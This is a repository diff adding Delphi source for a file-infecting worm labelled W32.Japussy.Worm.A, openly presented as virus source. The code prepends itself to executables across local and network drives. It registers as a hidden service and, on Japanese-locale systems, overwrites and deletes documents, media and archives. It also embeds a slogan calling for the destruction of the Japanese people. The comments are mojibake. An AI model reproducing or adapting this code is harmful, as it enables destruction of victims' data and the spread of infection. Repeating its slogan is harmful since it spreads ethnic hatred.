panda-virus made by Angel_Kitty

panda/sources/panda-virus-source.txt

@@ -0,0 +1,354 @@
+��è���� - ����Դ��    
+--------------------------------------------------------------------------------
+
+����:--------------------------------------------------------------------------------
+�������
+program Japussy;
+uses
+  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
+const
+  HeaderSize = 82432;                  //������Ĵ�С
+  IconOffset = $12EB8;                 //PE�ļ���ͼ���ƫ����
+
+  //���ҵ�Delphi5 SP1�������õ��Ĵ�С�������汾��Delphi���ܲ�ͬ
+  //����2800000020��ʮ�������ַ��������ҵ���ͼ���ƫ����
+
+{
+  HeaderSize = 38912;                  //Upxѹ����������Ĵ�С
+  IconOffset = $92BC;                  //Upxѹ����PE�ļ���ͼ���ƫ����
+
+  //Upx 1.24W �÷�: upx -9 --8086 Japussy.exe
+}
+  IconSize   = $2E8;                   //PE�ļ���ͼ��Ĵ�С--744�ֽ�
+  IconTail   = IconOffset + IconSize;  //PE�ļ���ͼ���β��
+  ID         = $44444444;              //��Ⱦ���
+
+  //�����룬�Ա�д��
+  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
+              'If a country need to be destroyed, it must be Japan! ' +
+              '*** W32.Japussy.Worm.A ***';
+{$R *.RES}
+function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
+  stdcall; external 'Kernel32.dll'; //��������
+var
+  TmpFile: string;
+  Si:      STARTUPINFO;
+  Pi:      PROCESS_INFORMATION;
+  IsJap:   Boolean = False; //���IJ���ϵͳ���
+{ �ж��Ƿ�ΪWin9x }
+function IsWin9x: Boolean;
+var
+  Ver: TOSVersionInfo;
+begin
+  Result := False;
+  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
+  if not GetVersionEx(Ver) then
+    Exit;
+  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
+    Result := True;
+end;
+{ ����֮�临�� }
+procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
+  dStartPos: Integer; Count: Integer);
+var
+  sCurPos, dCurPos: Integer;
+begin
+  sCurPos := Src.Position;
+  dCurPos := Dst.Position;
+  Src.Seek(sStartPos, 0);
+  Dst.Seek(dStartPos, 0);
+  Dst.CopyFrom(Src, Count);
+  Src.Seek(sCurPos, 0);
+  Dst.Seek(dCurPos, 0);
+end;
+{ �������ļ����Ѹ�Ⱦ��PE�ļ��з���������Ա�ʹ�� }
+procedure ExtractFile(FileName: string);
+var
+  sStream, dStream: TFileStream;
+begin
+  try
+    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
+    try
+      dStream := TFileStream.Create(FileName, fmCreate);
+      try
+        sStream.Seek(HeaderSize, 0); //����ͷ���IJ�������
+        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
+      finally
+        dStream.Free;
+      end;
+    finally
+      sStream.Free;
+    end;
+  except
+  end;
+end;
+{ ���STARTUPINFO�ṹ }
+procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
+begin
+  Si.cb := SizeOf(Si);
+  Si.lpReserved := nil;
+  Si.lpDesktop := nil;
+  Si.lpTitle := nil;
+  Si.dwFlags := STARTF_USESHOWWINDOW;
+  Si.wShowWindow := State;
+  Si.cbReserved2 := 0;
+  Si.lpReserved2 := nil;
+end;
+{ �������ʼ� }
+procedure SendMail;
+begin
+  //��λ����Ը�����֮��
+end;
+{ ��ȾPE�ļ� }
+procedure InfectOneFile(FileName: string);
+var
+  HdrStream, SrcStream: TFileStream;
+  IcoStream, DstStream: TMemoryStream;
+  iID: LongInt;
+  aIcon: TIcon;
+  Infected, IsPE: Boolean;
+  i: Integer;
+  Buf: array[0..1] of Char;
+begin
+  try //�������ļ����ڱ�ʹ�ã��˳�
+    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //���Լ��򲻸�Ⱦ
+      Exit;
+    Infected := False;
+    IsPE     := False;
+    SrcStream := TFileStream.Create(FileName, fmOpenRead);
+    try
+      for i := 0 to $108 do //���PE�ļ�ͷ
+      begin
+        SrcStream.Seek(i, soFromBeginning);
+        SrcStream.Read(Buf, 2);
+        if (Buf[0] = #80) and (Buf[1] = #69) then //PE���
+        begin
+          IsPE := True; //��PE�ļ�
+          Break;
+        end;
+      end;
+      SrcStream.Seek(-4, soFromEnd); //����Ⱦ���
+      SrcStream.Read(iID, 4);
+      if (iID = ID) or (SrcStream.Size < 10240) then //̫С���ļ�����Ⱦ
+        Infected := True;
+    finally
+      SrcStream.Free;
+    end;
+    if Infected or (not IsPE) then //�����Ⱦ���˻���PE�ļ����˳�
+      Exit;
+    IcoStream := TMemoryStream.Create;
+    DstStream := TMemoryStream.Create;
+    try
+      aIcon := TIcon.Create;
+      try
+        //�õ�����Ⱦ�ļ�����ͼ��(744�ֽ�)��������
+        aIcon.ReleaseHandle;
+        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
+        aIcon.SaveToStream(IcoStream);
+      finally
+        aIcon.Free;
+      end;
+      SrcStream := TFileStream.Create(FileName, fmOpenRead);
+      //ͷ�ļ�
+      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
+      try
+        //д�벡������ͼ��֮ǰ������
+        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
+        //д��Ŀǰ�������ͼ��
+        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
+        //д�벡������ͼ�굽������β��֮�������
+        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
+        //���������
+        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
+        //д���Ѹ�Ⱦ�ı��
+        DstStream.Seek(0, 2);
+        iID := $44444444;
+        DstStream.Write(iID, 4);
+      finally
+        HdrStream.Free;
+      end;
+    finally
+      SrcStream.Free;
+      IcoStream.Free;
+      DstStream.SaveToFile(FileName); //�滻�����ļ�
+      DstStream.Free;
+    end;
+  except;
+  end;
+end;
+
+{ ��Ŀ���ļ�д���������ɾ�� }
+procedure SmashFile(FileName: string);
+var
+  FileHandle: Integer;
+  i, Size, Mass, Max, Len: Integer;
+begin
+  try
+    SetFileAttributes(PChar(FileName), 0); //ȥ��ֻ������
+    FileHandle := FileOpen(FileName, fmOpenWrite); //���ļ�
+    try
+      Size := GetFileSize(FileHandle, nil); //�ļ���С
+      i := 0;
+      Randomize;
+      Max := Random(15); //���������������
+      if Max < 5 then
+        Max := 5;
+      Mass := Size div Max; //ÿ�������Ĵ�С
+      Len := Length(Catchword);
+      while i < Max do
+      begin
+        FileSeek(FileHandle, i * Mass, 0); //��λ
+        //д�������룬���ļ������ƻ���
+        FileWrite(FileHandle, Catchword, Len);
+        Inc(i);
+      end;
+    finally
+      FileClose(FileHandle); //�ر��ļ�
+    end;
+    DeleteFile(PChar(FileName)); //ɾ��֮
+  except
+  end;
+end;
+{ ��ÿ�д���������б� }
+function GetDrives: string;
+var
+  DiskType: Word;
+  D: Char;
+  Str: string;
+  i: Integer;
+begin
+  for i := 0 to 25 do //����26����ĸ
+  begin
+    D := Chr(i + 65);
+    Str := D + ':';
+    DiskType := GetDriveType(PChar(Str));
+    //�õ����ش��̺�������
+    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
+      Result := Result + D;
+  end;
+end;
+{ ����Ŀ¼����Ⱦ�ʹݻ��ļ� }
+procedure LoopFiles(Path, Mask: string);
+var
+  i, Count: Integer;
+  Fn, Ext: string;
+  SubDir: TStrings;
+  SearchRec: TSearchRec;
+  Msg: TMsg;
+  function IsValidDir(SearchRec: TSearchRec): Integer;
+  begin
+    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
+      (SearchRec.Name <> '..') then
+      Result := 0 //����Ŀ¼
+    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
+      (SearchRec.Name <> '..') then
+        Result := 1 //���Ǹ�Ŀ¼
+    else Result := 2; //�Ǹ�Ŀ¼
+  end;
+begin
+  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
+  begin
+    repeat
+      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //������Ϣ���У�����������
+      if IsValidDir(SearchRec) = 0 then
+      begin
+        Fn := Path + SearchRec.Name;
+        Ext := UpperCase(ExtractFileExt(Fn));
+        if (Ext = '.EXE') or (Ext = '.SCR') then
+        begin
+          InfectOneFile(Fn); //��Ⱦ��ִ���ļ�        
+        end
+        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
+        begin
+          //��ȾHTML��ASP�ļ�����Base64�����IJ���д��
+          //��Ⱦ�������ҳ�������û�
+          //��λ���ֵ�Ը�����֮��
+        end
+        else if Ext = '.WAB' then //Outlook��ַ���ļ�
+        begin
+          //��ȡOutlook�ʼ���ַ
+        end
+        else if Ext = '.ADC' then //Foxmail��ַ�Զ�����ļ�
+        begin
+          //��ȡFoxmail�ʼ���ַ
+        end
+        else if Ext = 'IND' then //Foxmail��ַ���ļ�
+        begin
+          //��ȡFoxmail�ʼ���ַ
+        end
+        else 
+        begin
+          if IsJap then //�����IJ���ϵͳ
+          begin
+            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
+              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
+              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
+              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
+              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
+              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
+                SmashFile(Fn); //�ݻ��ļ�
+          end;
+        end;
+      end;
+      //��Ⱦ��ɾ��һ���ļ���˯��200���룬����CPUռ���ʹ���������
+      Sleep(200);
+    until (FindNext(SearchRec) <> 0);
+  end;
+  FindClose(SearchRec);
+  SubDir := TStringList.Create;
+  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
+  begin
+    repeat
+      if IsValidDir(SearchRec) = 1 then
+        SubDir.Add(SearchRec.Name);
+    until (FindNext(SearchRec) <> 0);
+    end;
+  FindClose(SearchRec);
+  Count := SubDir.Count - 1;
+  for i := 0 to Count do
+    LoopFiles(Path + SubDir.Strings[i] + '', Mask);
+  FreeAndNil(SubDir);
+end;
+{ �������������е��ļ� }
+procedure InfectFiles;
+
+var
+  DriverList: string;
+  i, Len: Integer;
+begin
+  if GetACP = 932 then //���IJ���ϵͳ
+    IsJap := True; //ȥ���ɣ�
+  DriverList := GetDrives; //�õ���д�Ĵ����б�
+  Len := Length(DriverList);
+  while True do //��ѭ��
+  begin
+    for i := Len downto 1 do //����ÿ������������
+      LoopFiles(DriverList[i] + ':', '*.*'); //��Ⱦ֮
+    SendMail; //�������ʼ�
+    Sleep(1000 * 60 * 5); //˯��5����
+  end;
+end;
+{ ������ʼ }
+begin
+  if IsWin9x then //��Win9x
+    RegisterServiceProcess(GetCurrentProcessID, 1) //ע��Ϊ�������
+  else //WinNT
+  begin
+    //Զ���߳�ӳ�䵽Explorer����
+    //��λ��̨Ը�����֮��
+  end;
+  //�����ԭʼ�������Լ�
+  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
+    InfectFiles //��Ⱦ�ͷ��ʼ�
+  else //�Ѽ����������������ˣ���ʼ����
+  begin
+    TmpFile := ParamStr(0); //������ʱ�ļ�
+    Delete(TmpFile, Length(TmpFile) - 4, 4);
+    TmpFile := TmpFile + #32 + '.exe'; //�����������ļ�����һ���ո�
+    ExtractFile(TmpFile); //����֮
+    FillStartupInfo(Si, SW_SHOWDEFAULT);
+    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
+      0, nil, '.', Si, Pi); //�����½�������֮
+    InfectFiles; //��Ⱦ�ͷ��ʼ�
+  end;
+end.